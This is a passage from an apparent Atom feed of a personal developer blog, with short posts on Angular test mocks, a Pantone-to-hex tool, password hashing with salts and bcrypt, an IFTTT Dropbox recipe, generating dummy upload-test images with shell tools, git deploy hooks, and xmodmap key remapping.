&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;beforeEach&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;inject&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$injector&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $injector&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;$httpBackend&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;whenGET&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;respond&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hope this little tricks helped.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>pantone2hex</title>
    <link href="https://blog.pixelastic.com/2014/12/03/pantone2hex/"/>
    <updated>2014-12-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/12/03/pantone2hex</id>
    <content type="html">&lt;p&gt;I recently put together a small command-line tool to convert Pantone colors to
their hexadecimal value.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; pantone2hex&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 122C&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#fed141&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can grab the code on &lt;a href=&quot;https://github.com/pixelastic/pantone2hex&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Password storage, are you doing it wrong?</title>
    <link href="https://blog.pixelastic.com/2014/11/30/password-storage-are-you-doing-it-wrong/"/>
    <updated>2014-11-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/11/30/password-storage-are-you-doing-it-wrong</id>
    <content type="html">&lt;p&gt;Here are a few simple questions to ask yourself to know if you&#39;re storing
password incorrectly.&lt;/p&gt;
&lt;h2&gt;Are you storing them as plaintext?&lt;/h2&gt;
&lt;p&gt;Really? Well, that&#39;s bad. Very bad. Whenever a website sends me my password in
cleartext in an email I delete my account. I know I can&#39;t trust their security.
Whatever the size of your company, you&#39;ll eventually get a leak of your
database, so don&#39;t make it easily readable.&lt;/p&gt;
&lt;h2&gt;Are you hashing password with md5 or sha1?&lt;/h2&gt;
&lt;p&gt;That&#39;s a bit better, but is as much useless. md5 and sha1 hash passwords to a
limited (albeit very large) set of values. While you can&#39;t &amp;quot;un-md5&amp;quot; or &amp;quot;un-sha1&amp;quot;
something, you can still create a list of all possible hashes (known as a
rainbow table). Rainbow tables for md5 and sha1 can be downloaded and stored on
a few hundred gigabytes nowadays. Then an attacker just have to search for a
hash in the table to get one of the possible original passwords.&lt;/p&gt;
&lt;h2&gt;Are you hashing with md5 or sha1, but with a app-wide salt?&lt;/h2&gt;
&lt;p&gt;Salting is a very good idea. Instead of hashing the password, you hash the
password and a random string (known as the salt). That way, rainbow table found
online became useless because they do not know your salt. But chances are that
if an attacker got your database, they also got the source code of your app,
including the salt. It&#39;s just a matter of time for them to build the specific
rainbow table matching your salt.&lt;/p&gt;
&lt;h2&gt;Are your hashing with md5 or sha1, but with a specific salt per user?&lt;/h2&gt;
&lt;p&gt;Now we&#39;re talking. That is a very effective way to slow down attackers. Even if
they get their hands on your database, and the salt associated with each user,
they will have to create as many custom rainbow tables as you have users in your
database. This moves the attacks from massive brute force to specific users and
so diminishes the threat. The only drawback is that, thanks to Moore&#39;s Law,
computer are getting faster and faster and in a few years times generating
hundred or thousands of custom rainbow tables will be inexpensive.&lt;/p&gt;
&lt;h2&gt;Are your hashing with bcrypt?&lt;/h2&gt;
&lt;p&gt;To get the more future-proof implementation, you should use bcrypt. Bcrypt acts
as a md5 or sha1 with specific salt per user, except that it&#39;s designed to be
super slow. And that&#39;s a good thing. If an attacker needs to build a rainbow
table, it will take him forever. And the best thing is, you can even adjust the
level of time the method should take, and increase it in a few years when
computers will be faster. The resulting bcrypt hash will contain the salt, and
the level of complexity used to generate it.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;You now have a good overview of what to do and not do when storing password.
Remember that the main goal is to make life as hard as possible for a potential
attacker to read one of your users password. And the best solution not only work
today, but will still work tomorrow.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Automatically save pictures from phone to Dropbox folder</title>
    <link href="https://blog.pixelastic.com/2014/11/28/automatically-save-pictures-from-phone-to-dropbox-folder/"/>
    <updated>2014-11-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/11/28/automatically-save-pictures-from-phone-to-dropbox-folder</id>
    <content type="html">&lt;p&gt;The Dropbox app on my Android offers to automatically save pictures I take to my
Dropbox account. That is a very great feature, removing the pain of doing backup
of pictures on a regular basis.&lt;/p&gt;
&lt;p&gt;But it actually saves them in a special Dropbox folder named &lt;code&gt;Camera Uploads&lt;/code&gt;,
one that cannot be moved, and is not synchronized with the desktop Dropbox.&lt;/p&gt;
&lt;p&gt;So I create a special &lt;a href=&quot;https://ifttt.com&quot;&gt;ifttt&lt;/a&gt; recipe that will copy any new
picture added to this folder into a &lt;em&gt;real&lt;/em&gt; Dropbox folder. I simply chose
Dropbox as the input, with &lt;code&gt;/Camera Uploads&lt;/code&gt; as the folder to listen to. Then I
also chose Dropbox as the ouput, &lt;code&gt;{{PhotoUrl}}&lt;/code&gt; as the File URL,
&lt;code&gt;{{FilenameNoExt}}&lt;/code&gt; as the File name, and chose one of my folders for the
Dropbox path folder.&lt;/p&gt;
&lt;p&gt;Now, whenever I take a picture on my phone, it gets saved on my Dropbox account,
and then ifttt kicks in and copy it to another directory in my Dropbox which
will in turn save it on my local Dropbox folder.&lt;/p&gt;
&lt;p&gt;That&#39;s quite circumvoluted to simply save a picture from my phone to my
computer, but that&#39;s still the easiest way I found.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Generate dummy images for testing file upload</title>
    <link href="https://blog.pixelastic.com/2014/11/27/generate-dummy-images-for-testing-file-upload/"/>
    <updated>2014-11-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/11/27/generate-dummy-images-for-testing-file-upload</id>
    <content type="html">&lt;p&gt;Today, I needed to test a file upload mechanism, and needed a bunch of different
files, to be able to test that the max file size, max/min file dimensions and
image type where correctly checked.&lt;/p&gt;
&lt;p&gt;I asked my good friend the command line and came up with the following command
to generate the needed files.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; dd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; if=/dev/urandom&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; of=1mo.binary&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; count=1024&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bs=1024&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;1024+0&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; records&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; in&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;1024+0&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; records&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; out&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;1048576&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bytes&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (1,0 &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;MB&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) copied, 0,0684895 s, 15,3 MB/s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1,1M&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;-rw-r--r--&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1,0M&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; nov.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  27&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 12:00&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1mo.binary&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This created a &lt;code&gt;1mo.binary&lt;/code&gt; binary file of exactly 1Mo. That can be useful if
you simply need to test size limits. But I also needed my files to be valid jpg
files. So I used &lt;code&gt;convert&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; convert&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -size&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 640x640&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; xc:blue&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 640.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 12K&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;-rw-r--r--&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 2,7K&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; nov.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  27&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 12:04&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 640.jpg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This created a valid blue jpg file of 600x600 px. But the file size was way to
small, and I simply needed to have bigger filesize but not bigger file
dimensions. Best way to do it was to add crappy metadata that will simply adds
to the filesize. So I used &lt;code&gt;/dev/urandom&lt;/code&gt; again to get random data.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /dev/urandom&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; tr&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -dc&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;a-zA-Z0-9&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; fold&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -w&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1048576&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; head&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1mo.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1,1M&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;-rw-r--r--&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1,1M&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; nov.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  27&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 12:04&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1mo.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;-rw-r--r--&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 2,7K&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; nov.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  27&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 12:04&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 640.jpg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This generated a &lt;code&gt;1mo.txt&lt;/code&gt; file of random alphanumeric garbage. You can change
the &lt;code&gt;fold -w&lt;/code&gt; value to increase the size of the generated file. Next step was to
feed this value to our jpg file.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; exiftool&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 640.jpg&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -comment&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;=1mo.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 2,1M&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;-rw-r--r--&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1,1M&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; nov.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  27&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 12:04&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1mo.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;-rw-r--r--&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; tca&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1,1M&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; nov.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  27&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 12:05&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 640.jpg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This updated the &lt;code&gt;640.jpg&lt;/code&gt; file by adding the content of &lt;code&gt;1mo.txt&lt;/code&gt; into the
&lt;code&gt;comment&lt;/code&gt; metadata. You need to use the &lt;code&gt;&amp;lt;=&lt;/code&gt; syntax to feed it the content of
the file because your shell might not like having a 1Mo argument. Also, you need
to escape the &lt;code&gt;&amp;lt;&lt;/code&gt; or your shell will try to interpret it.&lt;/p&gt;
&lt;p&gt;Now you&#39;re ready to generate jpg files of any dimensions and any filesize.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Pushing to production and Github in one command</title>
    <link href="https://blog.pixelastic.com/2014/11/23/pushing-to-production-and-github-in-one-command/"/>
    <updated>2014-11-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/11/23/pushing-to-production-and-github-in-one-command</id>
    <content type="html">&lt;p&gt;I&#39;m using git for all my workflow. I use either GitHub or BitBucket to store my
code online. And for &lt;a href=&quot;http://www.pixelastic.com&quot;&gt;some&lt;/a&gt;
&lt;a href=&quot;http://talks.pixelastic.com&quot;&gt;tiny&lt;/a&gt; projects, I&#39;m also using git directly to
push in production.&lt;/p&gt;
&lt;h2&gt;Pushing to own remote&lt;/h2&gt;
&lt;p&gt;I have a few repositories that simply holds a bunch of &lt;code&gt;html&lt;/code&gt; and &lt;code&gt;css&lt;/code&gt; files,
to display a very simple page. Whenever I push some changes to thoses
repositories, I want to have the changes directly reflected online.&lt;/p&gt;
&lt;p&gt;For this I created on my server a new repo, aptly named &lt;code&gt;repo&lt;/code&gt;. In &lt;code&gt;repo&lt;/code&gt;, I
simply ran &lt;code&gt;git init --bare&lt;/code&gt; to create a bare repository. Now, from my local
repository I just update my local git repository to point the &lt;code&gt;origin&lt;/code&gt; remote to
this bare repository. Running &lt;code&gt;git push&lt;/code&gt; pushed my changes to this repo.&lt;/p&gt;
&lt;p&gt;Easy, I have my own repo on my own server to store my files.&lt;/p&gt;
&lt;h2&gt;Pushing to production&lt;/h2&gt;
&lt;p&gt;But that&#39;s only a bare repo, holding the list of changes but not exposing the
working directory. For that, I cloned &lt;code&gt;repo&lt;/code&gt; into another directory using
&lt;code&gt;git clone ./repo ./dist&lt;/code&gt;. This &lt;code&gt;dist&lt;/code&gt; directory is actually served by nginx.&lt;/p&gt;
&lt;p&gt;I added a hook to &lt;code&gt;repo/hook/post-receive&lt;/code&gt; with the following code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/bin/sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;unset&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; GIT_DIR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /path/to/my/dist/directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; pull&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will ran everytime the &lt;code&gt;repo&lt;/code&gt; receives a new push. It will go to the &lt;code&gt;dist&lt;/code&gt;
folder and pull changes from &lt;code&gt;repo&lt;/code&gt; (as &lt;code&gt;repo&lt;/code&gt; is the default origin for &lt;code&gt;dist&lt;/code&gt;
as we cloned from it).&lt;/p&gt;
&lt;p&gt;The part about &lt;code&gt;unset GIT_DIR&lt;/code&gt; is needed so that the hook correctly run in a
bare repo.&lt;/p&gt;
&lt;p&gt;Now, everytime I push my code, the hook will be run and the &lt;code&gt;dist&lt;/code&gt; repo will be
updated. And as this directory is exposed through nginx, it will be directly
available to all.&lt;/p&gt;
&lt;h2&gt;Pushing to multiple remotes&lt;/h2&gt;
&lt;p&gt;But that&#39;s not finished yet. I don&#39;t like having my code saved only in one
place. I&#39;d like to also have my sources available on GitHub. So I updated the
&lt;code&gt;post-receive&lt;/code&gt; hook by adding the following lines:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /path/to/my/repo/directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, I also configured my &lt;code&gt;origin&lt;/code&gt; remote to be GitHub, but you can make
it any repo. This will automatically push the content to a secondary repo
whenever the primary one receives new data.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;With simple git hooks I managed to push my code to production and save the
source in two different repository whenever I &lt;code&gt;git push&lt;/code&gt;. Less commands to type,
more time to code something else.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Improving my keyboard</title>
    <link href="https://blog.pixelastic.com/2014/09/17/improving-my-keyboard/"/>
    <updated>2014-09-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/09/17/improving-my-keyboard</id>
    <content type="html">&lt;p&gt;Because I&#39;m living in France, all my computers have a standard French keyboard
layout. It is based on the azerty layout, with all the frequent French
characters in easy access (eg: &lt;code&gt;é&lt;/code&gt;, &lt;code&gt;è&lt;/code&gt;, &lt;code&gt;à&lt;/code&gt;, etc).&lt;/p&gt;
&lt;p&gt;It is different from a classical qwerty layout in various ways, the most notable
being that the numbers on the number rows are activated by pressing Shift. On a
classical qwerty keyboard, pressing the &lt;code&gt;2&lt;/code&gt; key will issue a &lt;code&gt;2&lt;/code&gt;. In my case it
will issue a &lt;code&gt;é&lt;/code&gt;. I need to press Shift+2 to get a &lt;code&gt;2&lt;/code&gt;. And AltGr+2 gets me a
&lt;code&gt;~&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why am I talking about that? Because I&#39;m also a developer, and I write code
everyday. And code is not like prose, the characters with special meanings are
not the same. We use and abuse &lt;code&gt;(&lt;/code&gt;, &lt;code&gt;{&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt; or &lt;code&gt;[&lt;/code&gt;. Some of these
characters I use very often, and due to my keyboard layout, I often need to
press Shift or AltGr to get the needed char.&lt;/p&gt;
&lt;p&gt;This, of course, struck me as not very productive. There has to be a better way.
So I dig up a bit and found &lt;code&gt;xmodmap&lt;/code&gt; that is used by linux to bind a keycode to
a keysym. A keycode is what is send to your OS when you press one of your
plastic keys on your keyboard. One physical key on the keyboard equals to a
keycode. Each keycode can have one or several modifiers (like Shift, Control or
AltGr). And each of combination of keycode + modifier(s) equals one keysym,
which usually translate to a character, but can sometime have special meaning
(like Return, Backspace or the F keys).&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;xmodmap&lt;/code&gt;, you can manually configure which keycode sends which keysym. So
I&#39;ve updated my own &lt;code&gt;xmodmap&lt;/code&gt; to move some of the special chars I use often to
place I can access easily without having to move my hands too much.&lt;/p&gt;
&lt;p&gt;To do that, I mostly took advantage of the &lt;code&gt;AltGr&lt;/code&gt; modifier that is currently
underused. This modifier is mostly applied to the number row (and pressing
&lt;code&gt;AltGr&lt;/code&gt; and anything on the number row is not the easiest thing to do).&lt;/p&gt;
&lt;p&gt;The most important change I made is to add &lt;code&gt;AltGr+i&lt;/code&gt; to create a &lt;code&gt;-&lt;/code&gt; (dash) and
&lt;code&gt;AltGr+o&lt;/code&gt; to create a &lt;code&gt;_&lt;/code&gt; (underscore). Those two chars are overused when
coding, and having them on those keys allowed me to type them much much faster
without having to move my hand on the keyboard.&lt;/p&gt;
